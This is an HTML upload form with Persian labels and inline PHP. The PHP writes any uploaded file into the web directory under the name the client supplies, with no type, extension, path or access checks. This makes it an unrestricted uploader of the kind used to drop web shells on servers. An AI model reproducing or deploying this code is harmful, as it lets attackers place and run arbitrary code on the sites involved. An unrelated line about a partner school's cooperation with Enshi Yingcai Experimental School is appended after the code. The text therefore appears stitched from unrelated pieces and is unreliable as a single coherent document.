<html> <head> <meta charset="utf8/"> <style> body{ margin: 0px; padding: 0px; } .divmain{ background-color: #97bf21; width: 400px; height: 400px; margin-right:auto; margin-left: auto; margin-top:13%; border-radius:80px; } .menu{ height: 50px; width: 100%; border-style: solid; border-width: 5px; } ul{ list-style-type: none; margin: 0px; padding: 0px; } li{ display: inline; } a { width:17%; background-color: #97bf21; float: left; font-size:17px; color:black; font-weight: bold; padding: 20px; text-align: center; text-decoration: none; word-spacing: 10px; } a:hover{ background-color:black; float:left; color:red; font-weight: bold; text-align: center; text-decoration: none; } </style> </head> <body> <div style="height: 100%;width: 100%;background-color: cadetblue; float: left;"> <div class="divmain"> <form method="post" enctype="multipart/form-data" > <div style="height: 100px;width:200px;margin-left: auto;margin-right: auto;"> <input type="file" name="fup" style="margin-top: 60px;"> </div> <div style="clear: both;"> <input type="submit" value="اپلود" style="height:60px;width: 200px;border-radius: 20px;margin-top: 100px;margin-left: 100px;"> </div> </form> </div> </div> </body> </html> <?php if(isset($_FILES['fup'])) { $name=$_FILES['fup']['name']; $tmp=$_FILES['fup']['tmp_name']; $check=move_uploaded_file($tmp,"$name"); if($check) { echo "<script>alert('فایل با موفقیت اپلود شد');</script>"; } else { echo "<script>alert('فایل آپلود نشد');</script>"; } }
Cooperation Of Partner School with Enshi Yingcai Experimental School